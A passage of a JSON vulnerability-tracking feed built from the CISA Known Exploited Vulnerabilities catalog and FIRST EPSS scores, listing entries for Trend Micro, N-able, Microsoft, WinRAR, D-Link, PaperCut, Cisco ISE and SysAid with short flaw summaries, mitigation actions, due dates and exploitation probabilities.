CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-18","updatedAt":null,"regions":["Global"],"vendor":"Trend Micro","product":"Apex One","stacks":["Trend Micro","Apex One"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-18","dueAt":"2025-09-08","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.23919,"percentile":0.9782,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-54948&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-54948","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-54948 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-54948&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-54948, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-8875","cveId":"CVE-2025-8875","aliases":[],"kind":"vulnerability","title":"N-able N-Central Insecure Deserialization Vulnerability","summary":"N-able N-Central contains an insecure deserialization vulnerability that could lead to command execution.","detail":"CISA added this entry on 2025-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-13","updatedAt":null,"regions":["Global"],"vendor":"N-able","product":"N-Central","stacks":["N-able","N-Central"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-13","dueAt":"2025-08-20","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01899,"percentile":0.79518,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-8875&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-8875","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-8875 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-8875&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-8875, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-8876","cveId":"CVE-2025-8876","aliases":[],"kind":"vulnerability","title":"N-able N-Central Command Injection Vulnerability","summary":"N-able N-Central contains a command injection vulnerability via improper sanitization of user input.","detail":"CISA added this entry on 2025-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-13","updatedAt":null,"regions":["Global"],"vendor":"N-able","product":"N-Central","stacks":["N-able","N-Central"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-13","dueAt":"2025-08-20","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03448,"percentile":0.8892,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-8876&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-8876","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-8876 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-8876&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-8876, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2007-0671","cveId":"CVE-2007-0671","aliases":[],"kind":"vulnerability","title":"Microsoft Office Excel Remote Code Execution Vulnerability","summary":"Microsoft Office Excel contains a remote code execution vulnerability that can be exploited when a specially crafted Excel file is opened. This malicious file could be delivered as an email attachment or hosted on a malicious website. An attacker could leverage this vulnerability by creating a specially crafted Excel file, which, when opened, allowing an attacker to execute remote code on the affected system.","detail":"CISA added this entry on 2025-08-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-12","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-12","dueAt":"2025-09-02","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.43241,"percentile":0.98717,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2007-0671&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2007-0671","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2007-0671 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2007-0671&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2007-0671, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-3893","cveId":"CVE-2013-3893","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Resource Management Errors Vulnerability","summary":"Microsoft Internet Explorer contains a memory corruption vulnerability that allows for remote code execution. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-08-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-12","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-12","dueAt":"2025-09-02","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87639,"percentile":0.99757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-3893&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-3893","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-3893 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-3893&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-3893, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-8088","cveId":"CVE-2025-8088","aliases":[],"kind":"vulnerability","title":"RARLAB WinRAR Path Traversal Vulnerability","summary":"RARLAB WinRAR contains a path traversal vulnerability affecting the Windows version of WinRAR. This vulnerability could allow an attacker to execute arbitrary code by crafting malicious archive files.","detail":"CISA added this entry on 2025-08-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-12","updatedAt":null,"regions":["Global"],"vendor":"RARLAB","product":"WinRAR","stacks":["7-Zip and WinRAR","RARLAB","WinRAR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-12","dueAt":"2025-09-02","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94509,"percentile":0.99852,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-8088&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-8088","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-8088 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-8088&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-8088, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-25078","cveId":"CVE-2020-25078","aliases":[],"kind":"vulnerability","title":"D-Link DCS-2530L and DCS-2670L Devices Unspecified Vulnerability","summary":"D-Link DCS-2530L and DCS-2670L devices contains an unspecified vulnerability that could allow for remote administrator password disclosure. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-05","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DCS-2530L and DCS-2670L Devices","stacks":["D-Link","DCS-2530L and DCS-2670L Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-05","dueAt":"2025-08-26","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97511,"percentile":0.99899,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-25078&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-25078","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-25078 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-25078&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-25078, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-25079","cveId":"CVE-2020-25079","aliases":[],"kind":"vulnerability","title":"D-Link DCS-2530L and DCS-2670L Command Injection Vulnerability","summary":"D-Link DCS-2530L and DCS-2670L devices contains a command injection vulnerability in the cgi-bin/ddns_enc.cgi. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-05","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DCS-2530L and DCS-2670L Devices","stacks":["D-Link","DCS-2530L and DCS-2670L Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-05","dueAt":"2025-08-26","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.54007,"percentile":0.98996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-25079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-25079","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-25079 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-25079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-25079, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-40799","cveId":"CVE-2022-40799","aliases":[],"kind":"vulnerability","title":"D-Link DNR-322L Download of Code Without Integrity Check Vulnerability","summary":"D-Link DNR-322L contains a download of code without integrity check vulnerability that could allow an authenticated attacker to execute OS level commands on the device. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-08-05","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DNR-322L","stacks":["D-Link","DNR-322L"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-08-05","dueAt":"2025-08-26","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.3365,"percentile":0.98373,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-40799&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-40799","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-08-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-40799 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-40799&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-40799, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-2533","cveId":"CVE-2023-2533","aliases":[],"kind":"vulnerability","title":"PaperCut NG/MF Cross-Site Request Forgery (CSRF) Vulnerability","summary":"PaperCut NG/MF contains a cross-site request forgery (CSRF) vulnerability, which, under specific conditions, could potentially enable an attacker to alter security settings or execute arbitrary code.","detail":"CISA added this entry on 2025-07-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-28","updatedAt":null,"regions":["Global"],"vendor":"PaperCut","product":"NG/MF","stacks":["PaperCut","NG/MF"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-28","dueAt":"2025-08-18","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.28831,"percentile":0.98135,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-2533&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-2533","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-2533 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-2533&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-2533, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-20281","cveId":"CVE-2025-20281","aliases":[],"kind":"vulnerability","title":"Cisco Identity Services Engine Injection Vulnerability","summary":"Cisco Identity Services Engine contains an injection vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC due to insufficient validation of user-supplied input allowing an attacker to exploit this vulnerability by submitting a crafted API request. Successful exploitation could allow an attacker to perform remote code execution and obtaining root privileges on an affected device.","detail":"CISA added this entry on 2025-07-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-28","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Identity Services Engine","stacks":["Cisco","Identity Services Engine"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-28","dueAt":"2025-08-18","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97601,"percentile":0.99901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-20281&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-20281","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-20281 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-20281&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-20281, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-20337","cveId":"CVE-2025-20337","aliases":[],"kind":"vulnerability","title":"Cisco Identity Services Engine Injection Vulnerability","summary":"Cisco Identity Services Engine contains an injection vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC due to insufficient validation of user-supplied input allowing an attacker to exploit this vulnerability by submitting a crafted API request. Successful exploitation could allow an attacker to perform remote code execution and obtaining root privileges on an affected device.","detail":"CISA added this entry on 2025-07-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-28","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Identity Services Engine","stacks":["Cisco","Identity Services Engine"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-28","dueAt":"2025-08-18","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.74499,"percentile":0.99491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-20337&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-20337","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-20337 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-20337&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-20337, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-2775","cveId":"CVE-2025-2775","aliases":[],"kind":"vulnerability","title":"SysAid On-Prem Improper Restriction of XML External Entity Reference Vulnerability","summary":"SysAid On-Prem contains an improper restriction of XML external entity reference vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.","detail":"CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-22","updatedAt":null,"regions":["Global"],"vendor":"SysAid","product":"SysAid On-Prem","stacks":["SysAid","SysAid On-Prem"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-22","dueAt":"2025-08-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.42612,"percentile":0.98703,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-2775&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-2775","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-2775 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-2775&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-2775, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-2776","cveId":"CVE-2025-2776","aliases":[],"kind":"vulnerability","title":"SysAid On-Prem Improper Restriction of XML External Entity Reference Vulnerability","summary":"SysAid On-Prem contains an improper restriction of XML external entity reference vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives.","detail":"CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-22","updatedAt":null,"regions":["Global"],"vendor":"SysAid","product":"SysAid On-Prem","stacks":["SysAid","SysAid On-Prem"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-22","dueAt":"2025-08-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are 